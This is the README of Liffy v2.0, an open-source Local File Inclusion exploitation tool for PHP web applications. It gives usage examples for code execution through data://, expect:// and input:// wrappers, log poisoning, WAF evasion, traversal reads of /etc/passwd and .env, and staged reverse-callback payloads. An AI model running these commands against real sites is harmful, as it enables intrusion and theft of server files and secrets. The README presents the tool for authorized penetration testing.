Advanced LFI Exploitation Tool

A powerful Python tool for Local File Inclusion (LFI) exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection.

Liffy v2.0 is the significantly enhanced version of liffy which was originally created by rotlogix/liffy. This version includes modern features like Rich terminal output, YAML configuration, enhanced threading, and multiple advanced exploitation techniques.

⚠️ Lot of new changes were vibe coded.

Table of Contents

• Features
• Installation
• Usage
• Configuration
• Advanced Techniques
• Examples
• Contribution
• Credits

Features

Core LFI Techniques

• data:// - Code execution via data wrapper
• expect:// - Code execution via expect wrapper
• input:// - Code execution via input wrapper
• filter:// - Arbitrary file reads via filter wrapper
• /proc/self/environ - Code execution in CGI mode
• Apache access.log poisoning - Log file exploitation
• Linux auth.log SSH poisoning - SSH log exploitation
• Null Byte Poisoning - Legacy PHP null byte attacks
• ZIP wrapper exploitation - ZIP file inclusion attacks
• Wrapper detection - Safe probes for common LFI stream wrappers
• Out-of-band probes - Callback payloads for blind wrapper/SSRF-style behavior
• Blind LFI checks - Response-difference probes when file contents are not reflected
• Auto scan mode - Safe detection-first scan plan across traversal, wrappers, and blind checks

Advanced Features

• WAF Evasion - Multiple bypass techniques for common WAFs
• Advanced Encoding - Double URL encoding, Unicode, case variations
• POST Request Support - Full POST method support with custom data
• Custom Headers - Configurable HTTP headers
• User-Agent Rotation - Randomized user agents to avoid detection
• Rate Limiting - Configurable request throttling
• Multi-threading - Enhanced thread pool management
• Detection Mode - Vulnerability scanning without exploitation
• Rich Terminal Output - Beautiful colored output with progress bars
• YAML Configuration - Persistent settings management

Modern Enhancements

• Enhanced Vulnerability Detection - Advanced response analysis with confidence scoring
• Thread Pool Management - Optimized performance with adaptive threading
• Configuration Management - YAML-based settings with CLI overrides
• Comprehensive Logging - Detailed execution reports and progress tracking

Installation

Make sure you are using Python 3. Liffy doesn't support Python 2. The examples below use uv run python so commands run inside the project environment.

# Install uv if you haven't already
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clone the repository
git clone https://github.com/mzfr/liffy
cd liffy

# Create virtual environment with uv
uv venv

# Install dependencies from pyproject.toml
uv sync

# Run liffy
uv run python liffy.py --help

Usage

Basic Syntax

uv run python liffy.py <URL> [OPTIONS]

Command Line Options

usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

positional arguments:
  url                   URL to test for LFI

Core Techniques:
  -d, --data            Use data:// technique
  -i, --input           Use input:// technique
  -e, --expect          Use expect:// technique
  -f, --filter          Use filter:// technique
  -p, --proc            Use /proc/self/environ technique
  -a, --access          Apache access logs technique
  --ssh                 SSH auth log poisoning
  -dt, --directorytraverse  Test for Directory Traversal
  --null-byte           Test for Null Byte Poisoning
  --zip                 Test for ZIP wrapper exploitation
  --wrappers, --wrapper Detect common LFI stream wrappers
  --wrapper-list WRAPPER_LIST
                        Path to custom wrapper probe payload list
  --oob                 Send out-of-band callback probes
  --oob-url OOB_URL     OOB callback base URL
  --blind               Run blind LFI response-difference checks
  --blind-list BLIND_LIST
                        Path to custom blind LFI probe list
  --auto                Run a safe automatic scan plan

Advanced Options:
  --encoding            Use advanced encoding/bypass techniques
  --waf-bypass          Use WAF evasion techniques
  --method {GET,POST}   HTTP method to use (default: GET)
  --post-data POST_DATA POST data (format: key=value&key2=value2)
  --headers HEADERS     Custom headers (format: Header1:Value1,Header2:Value2)
  --detection           Only perform LFI detection, no exploitation

Request Options:
  --timeout TIMEOUT     HTTP request timeout in seconds
  --proxy PROXY         HTTP(S) proxy URL, e.g. http://127.0.0.1:8080
  --verify-tls          Verify TLS certificates instead of using insecure requests
  --user-agent UA       Custom User-Agent header
  --delay DELAY         Delay between requests in seconds
  --retries RETRIES     HTTP retries per request

Automation Options:
  --lhost LHOST         Callback host for staged payloads
  --lport LPORT         Callback port for staged payloads
  --read-file PATH      File path to read with filter://
  -y, --yes             Use defaults for prompts and run non-interactively
  --json                Print a JSON run summary
  --output OUTPUT       Write JSON run summary to a file
  --quiet               Suppress normal terminal output

General Options:
  -ns, --nostager       Execute payload directly, do not use stager
  -r, --relative        Use path traversal sequences for attack
  -l, --location LOCATION  Path to target file (access log, auth log, etc.)
  --cookies COOKIES     Session cookies for authentication
  -t, --threads THREADS Number of threads to use (default: 5)
  --no-color            Disable colored output
  --no-banner           Disable banner display
  --config              Create default YAML configuration file

Configuration

YAML Configuration

Create a configuration file for persistent settings:

uv run python liffy.py --config

This creates liffy_config.yaml with default settings:

# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

Set disable_banner: true to hide the startup banner/logo by default. CLI flags still override config values, so you can also use --no-banner, --no-color, or --quiet for one-off runs.

Environment Variables

You can also use environment variables:

• LIFFY_THREADS - Number of threads
• LIFFY_RATE_LIMIT - Rate limit delay
• LIFFY_NO_COLOR - Disable colors (true/false)

Advanced Techniques

WAF Bypass Techniques

When --waf-bypass is enabled, liffy automatically applies multiple evasion techniques:

• Comment Injection: /**/, #, ;
• Protocol Confusion: file:///, pHp://
• Encoding Layering: Multiple encoding combinations
• Path Obfuscation: ./, ../, null bytes

Encoding Bypass Techniques

With --encoding, liffy applies advanced encoding methods:

• Double URL Encoding: %252e%252e%252f
• Unicode Encoding: \u002e\u002e\u002f
• Mixed Case: ..%2F, ..%2f
• HTML Entity Encoding: ../

POST Request Support

# POST with form data
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST with custom headers
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

Request Tuning

# Send traffic through a local proxy and retry transient failures
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Use a fixed User-Agent and custom request delay
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

Examples

Basic LFI Testing

Test with data:// wrapper

uv run python liffy.py "http://example.com/page.php?file=" -d

Test with multiple techniques

uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

Detection mode only

uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

Advanced Usage

WAF bypass with encoding

uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

Multi-threaded with rate limiting

uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

POST request with custom headers

uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

Log Poisoning

Apache access log poisoning

uv run python liffy.py "http://example.com/page.php?file=" -a

SSH auth log poisoning

uv run python liffy.py "http://example.com/page.php?file=" --ssh

Custom log location

uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

Directory Traversal

Relative path traversal

uv run python liffy.py "http://example.com/page.php?file=" -d -r

Directory traversal testing

uv run python liffy.py "http://example.com/page.php?file=" -dt

Special Techniques

Null byte poisoning (legacy PHP)

uv run python liffy.py "http://example.com/page.php?file=" --null-byte

ZIP wrapper exploitation

uv run python liffy.py "http://example.com/page.php?file=" --zip

Common wrapper detection

uv run python liffy.py "http://example.com/page.php?file=" --wrappers

Wrapper detection uses safe default probes for file://, php://filter, data://, php://temp, php://memory, and related wrappers. zip://, phar://, and glob:// are treated as informational/conditional because they usually require target-side files or sink behavior that exposes listings.

You can provide a custom wrapper payload list. If --wrapper-list is omitted, liffy falls back to the built-in probes:

uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

Each non-empty line can be either a raw payload or name=payload:

php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

Out-of-band callback probes

uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

Use this with an HTTP/DNS callback listener. Liffy sends URL-wrapper style payloads and you verify whether the target calls back.

Blind LFI checks

uv run python liffy.py "http://example.com/page.php?file=" --blind

Blind checks compare existing-file probes against random missing-file baselines and report status, length, or timing differences when content is not directly reflected.

You can provide a custom blind probe list. If --blind-list is omitted or empty, liffy uses built-in probes:

uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

Each non-empty line can be either a raw payload or name=payload:

linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

Safe automatic scan

uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto enables detection-only directory traversal, wrapper checks, and blind checks. If --oob-url is also provided, it includes OOB probes.

Comprehensive scan with all techniques

uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

Authentication & Cookies

Using session cookies

uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

Scripted / Non-interactive Usage

Provide callback values without prompts

uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

Read a specific file with filter:// without prompting

uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

Structured Output

Print a JSON run summary

uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

Write a JSON summary to disk while keeping terminal output

uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

Output Control

Disable colors and banner

uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

Suppress normal terminal output

uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

Default File Locations

The following default locations are used when no custom path is specified:

• SSH auth.log: /var/log/auth.log
• Apache access.log: /var/log/apache2/access.log
• Alternative Apache log: /var/log/httpd/access_log

Contribution

We welcome contributions! Here's how you can help:

Feature Suggestions

• New LFI exploitation techniques
• Additional WAF bypass methods
• Enhanced encoding techniques
• Payload optimization
• Detection improvements

Bug Reports

• Report issues via GitHub Issues
• Include detailed reproduction steps
• Provide target environment details

Pull Requests

• Fork the repository
• Create a feature branch
• Make your changes with tests
• Submit a pull request

Feel free to open an issue for any questions or suggestions!

Vulnerability Detection

Liffy's detection mode provides comprehensive vulnerability analysis:

Confidence Scoring

• High Confidence (80-100%): Strong indicators like /etc/passwd content
• Medium Confidence (50-79%): Partial file content or suspicious responses
• Low Confidence (20-49%): Potential indicators requiring manual verification

Detection Features

• File Content Analysis: Recognizes Linux, Windows, and PHP file patterns
• Response Analysis: HTTP status codes, content length, timing analysis
• WAF Detection: Identifies common WAF signatures
• Evidence Collection: Captures proof of vulnerability for reporting

Sample Detection Output

[+] VULNERABILITY SUMMARY
==================================================
[1] Vulnerability Found
    Payload: ../../etc/passwd
    Confidence: 85%
    Evidence: Linux /etc/passwd file: root:
    Status Code: 200
    Content Length: 1547

Troubleshooting

Common Issues

WAF Blocking Requests

# Use WAF bypass techniques
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Reduce thread count and increase delays
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

Rate Limiting Issues

# Increase delay in config file
max_threads: 2
rate_limit_delay: 1.0

Debug Mode

For verbose output, you can modify the configuration:

debug_mode: true
verbose_output: true

Security Notice

Liffy is designed for authorized security testing only.

• Only use on systems you own or have explicit permission to test
• Follow responsible disclosure practices
• Respect rate limits and avoid DoS conditions
• Be aware of legal implications in your jurisdiction

The authors are not responsible for misuse of this tool.

Credits

Original Inspiration

• Original liffy by hvqzao
• Initial concept from rotlogix/liffy

Techniques and Research

• LFI exploitation techniques from various security research
• WAF bypass methods from public security resources
• PHP wrapper exploitation documentation

Design and Assets

• Logo design from renderforest
• Terminal styling using Rich library

License

This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.